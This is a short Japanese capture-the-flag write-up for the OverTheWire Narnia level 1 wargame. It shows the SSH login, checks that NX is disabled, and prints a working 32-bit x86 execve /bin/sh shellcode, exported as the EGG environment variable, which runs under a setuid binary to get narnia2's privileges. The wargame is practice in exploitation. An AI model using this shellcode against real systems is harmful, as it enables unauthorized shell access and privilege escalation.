OverTheWire:Narnia1

narnia1 で ssh 接続。
ssh narnia0@narnia.labs.overthewire.org -p 2226

今回のお題(/narnia/narnia1.c )はこちら。どうやらシェルコードをEGGという環境変数に設定した後、実行すれば良いらしい。。

画像1

環境変数は実行時にスタックに積まれる。云わずもがなだけど、スタックが実行可能(NXが無効)になっている必要があるので、チェックしてみる。

画像2

NXは disabled なので問題無し。
ということで、あとはx86(32ビット)の適当なシェルコードを環境変数EGGとして設定してしまえば良い。自分で作るのは面倒なので、シェルコードはここの記事から引用した。

下記のコマンドで 環境変数を設定した後、/narnia/narnia1 を実行するとシェルが起動した。

export EGG=$(perl -e 'print "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"')

画像3

実効ID (euid)が narnia2 になっているので、これで次のステージのパスワードが読める。

画像4

というわけで、次のステージ(narnia2)へ。。

いいなと思ったら応援しよう!